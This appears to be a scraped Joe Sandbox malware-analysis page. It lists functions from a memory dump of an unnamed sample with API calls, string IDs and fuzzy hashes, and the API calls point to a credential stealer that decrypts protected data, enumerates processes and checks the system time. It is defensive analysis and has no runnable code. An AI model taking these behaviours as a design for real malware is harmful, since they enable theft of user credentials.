                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: [cc$&\ur$DQ__$T?W$YH]
                                    • API String ID: 0-2408647816
                                    • Opcode ID: 388f84c3e28e2623a3d522a5c78620667958ed6caec1dcf2173473078a5b3a37
                                    • Instruction ID: f05e486194a5189ea8c2d60a6055339326bc29b855babf269b8702c7ed954a8b
                                    • Opcode Fuzzy Hash: 388f84c3e28e2623a3d522a5c78620667958ed6caec1dcf2173473078a5b3a37
                                    • Instruction Fuzzy Hash: B4B209F360C2009FE304AE2DEC8567AB7E5EF94720F1A453DEAC5C3744EA7598058697
                                    Function 0112BA0D Relevance: 7.9, Strings: 5, Instructions: 1645COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ?4w<$N=o$c+ny$r-w~$9~
                                    • API String ID: 0-2359664439
                                    • Opcode ID: f8cb669dfe97a549670b7e265803318ef0dfe30c1bd9bdf99d45637c91b2c9dd
                                    • Instruction ID: a7cc06ff40385c762cc04e9ecdd4d6c7c0804c23da2778a39e3636444b9102f6
                                    • Opcode Fuzzy Hash: f8cb669dfe97a549670b7e265803318ef0dfe30c1bd9bdf99d45637c91b2c9dd
                                    • Instruction Fuzzy Hash: 84B239F3A0C2009FE3086E2DEC8567ABBE5EFD4720F1A463DE6C5C7344EA7558058696
                                    Function 0111C676 Relevance: 7.9, Strings: 5, Instructions: 1619COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: RgaB$Wcgi$]JWO$d(_$wa6
                                    • API String ID: 0-1019819669
                                    • Opcode ID: 51200883a6ec283e196ae84e2ce64862354adf931f89bdc149e7e10a89c93199
                                    • Instruction ID: 7fb393e92f10c409ca8cac2d0472816dfae9e577d92af211b48cb8547c400c17
                                    • Opcode Fuzzy Hash: 51200883a6ec283e196ae84e2ce64862354adf931f89bdc149e7e10a89c93199
                                    • Instruction Fuzzy Hash: 1AB226F3A0C600AFE3046E29EC8567AFBE9EF94760F16493DEAC4C3744E63558418796
                                    Function 00D3F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: \u$\u${${$}$}
                                    • API String ID: 0-582841131
                                    • Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
                                    • Instruction ID: b743f5731248996e3cb8be604b5ffde4a3c8f0db75e7bb56fb040acc17396de7
                                    • Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
                                    • Instruction Fuzzy Hash: 2C417E13E19BD9C5CB058B7444A02AEBFB26FE6210F6D42AAC4DD1F382C774814AD3B5
                                    Function 00CDC920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00CDC971
                                    • CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00CDC97C
                                    • lstrcat.KERNEL32(?,00CF0B47), ref: 00CDCA43
                                    • lstrcat.KERNEL32(?,00CF0B4B), ref: 00CDCA57
                                    • lstrcat.KERNEL32(?,00CF0B4E), ref: 00CDCA78
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$BinaryCryptStringlstrlen
                                    • String ID:
                                    • API String ID: 189259977-0
                                    • Opcode ID: 921b166ebac89df4c0a039a796d06d0cd6bbfc0dceddcb4969670a355681babc
                                    • Instruction ID: 0e5cad2bcc6eabde0b19adf8a611b073732facef9371c5f21527ed20b02e16e8
                                    • Opcode Fuzzy Hash: 921b166ebac89df4c0a039a796d06d0cd6bbfc0dceddcb4969670a355681babc
                                    • Instruction Fuzzy Hash: B8416EB990420EDBDB10DFA0DC89FFEB7B8AB48704F1041A9E609A6280D7745A84DF91
                                    Function 00CE6BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetSystemTime.KERNEL32(?), ref: 00CE6C0C
                                    • sscanf.NTDLL ref: 00CE6C39
                                    • SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00CE6C52
                                    • SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00CE6C60
                                    • ExitProcess.KERNEL32 ref: 00CE6C7A
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Time$System$File$ExitProcesssscanf
                                    • String ID:
                                    • API String ID: 2533653975-0
                                    • Opcode ID: 354ee57691c3a65b0d080106f150e4d030894d1560ca8e7aacb99966522cf1f2
                                    • Instruction ID: bdd497f4176b5d12ac080f37da89584e469a80691fe1ec67096fe380d50d1977
                                    • Opcode Fuzzy Hash: 354ee57691c3a65b0d080106f150e4d030894d1560ca8e7aacb99966522cf1f2
                                    • Instruction Fuzzy Hash: 3D21BCB5D1420C9BCB04EFE4E845AEEB7B5BF48300F04852AE516A3250EB34A604DB65
                                    Function 00CD72A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000008,00000400), ref: 00CD72AD
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CD72B4
                                    • CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00CD72E1
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00CD7304
                                    • LocalFree.KERNEL32(?), ref: 00CD730E
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
                                    • String ID:
                                    • API String ID: 2609814428-0
                                    • Opcode ID: 88828810d2d2d6fd6b3453ae22444dee8862ecd8087a9bbe2ce06f9c8e2a7a9b
                                    • Instruction ID: d789080340ac88e355c85f00cc0d1828407748841e57fd16266fda240b7f5f11
                                    • Opcode Fuzzy Hash: 88828810d2d2d6fd6b3453ae22444dee8862ecd8087a9bbe2ce06f9c8e2a7a9b
                                    • Instruction Fuzzy Hash: E7011EB5A44308BBDB10DFE4DC46FAE77B8EB44B04F108545FB05BB2C0D6B0AA409B65
                                    Function 00CE9790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00CE97AE
                                    • Process32First.KERNEL32(00CF0ACE,00000128), ref: 00CE97C2
                                    • Process32Next.KERNEL32(00CF0ACE,00000128), ref: 00CE97D7
                                    • StrCmpCA.SHLWAPI(?,00000000), ref: 00CE97EC
                                    • CloseHandle.KERNEL32(00CF0ACE), ref: 00CE980A
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                    • String ID:
                                    • API String ID: 420147892-0
                                    • Opcode ID: bfa8b9de06a602b8256db563655a98a4b16a43ce8b8a19a8e4b106683582f85c
                                    • Instruction ID: 8daaadad1d2e0fb008fe5b39836cee95564405ada69c2a7c4f4a744e1a7be223
                                    • Opcode Fuzzy Hash: bfa8b9de06a602b8256db563655a98a4b16a43ce8b8a19a8e4b106683582f85c
                                    • Instruction Fuzzy Hash: C2010CB5A14308ABDB20DFA6CD44BDDB7F8FB49700F104588E50996290D7309B44DF50
                                    Function 00CF4573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: <7\h$huzx
                                    • API String ID: 0-2989614873
                                    • Opcode ID: 1d306a64b32ec80efcd30ebbf21bf8be57d4a3a31a1eaaf5b560232c1a76f8cf
                                    • Instruction ID: 1d317113871c5f7f2e7dca130de5537b005903fe8f504941d585a48460312d95
                                    • Opcode Fuzzy Hash: 1d306a64b32ec80efcd30ebbf21bf8be57d4a3a31a1eaaf5b560232c1a76f8cf
                                    • Instruction Fuzzy Hash: AB63437241EBD81ECB27CB3047B61A17F66BA1321031949CEC7D18F5B3C694AA1AE357
                                    Function 00CE9030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CryptBinaryToStringA.CRYPT32(00000000,00CD51D4,40000001,00000000,00000000,?,00CD51D4), ref: 00CE9050
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: BinaryCryptString
                                    • String ID:
                                    • API String ID: 80407269-0
                                    • Opcode ID: 931e90bb8cb9f3e569d5f5987ca59d1c298cb124c15fe5f49d97fdcc38ae6fed
                                    • Instruction ID: 851449e398424165724dd79bd3fd8790f97680260f1a83ca829cecea4b65415d
                                    • Opcode Fuzzy Hash: 931e90bb8cb9f3e569d5f5987ca59d1c298cb124c15fe5f49d97fdcc38ae6fed
                                    • Instruction Fuzzy Hash: 3711F5B0204248FFDB00DF56DC84FAA33A9EF8A310F508448FA298B250D775E9419BA0
                                    Function 00CDA210 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CD4F3E,00000000,00000000), ref: 00CDA23F
                                    • LocalAlloc.KERNEL32(00000040,?,?,?,00CD4F3E,00000000,?), ref: 00CDA251
                                    • CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CD4F3E,00000000,00000000), ref: 00CDA27A
                                    • LocalFree.KERNEL32(?,?,?,?,00CD4F3E,00000000,?), ref: 00CDA28F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: BinaryCryptLocalString$AllocFree
                                    • String ID:
                                    • API String ID: 4291131564-0
                                    • Opcode ID: c123ce3c3d4190f667bb6000a79c2cdae8d5a38ca6865a030808ea31e95aa457
                                    • Instruction ID: 675d541c9cd89f00605de0a0e120b8f088acca884d5febae5a2929236a4b83d4
                                    • Opcode Fuzzy Hash: c123ce3c3d4190f667bb6000a79c2cdae8d5a38ca6865a030808ea31e95aa457
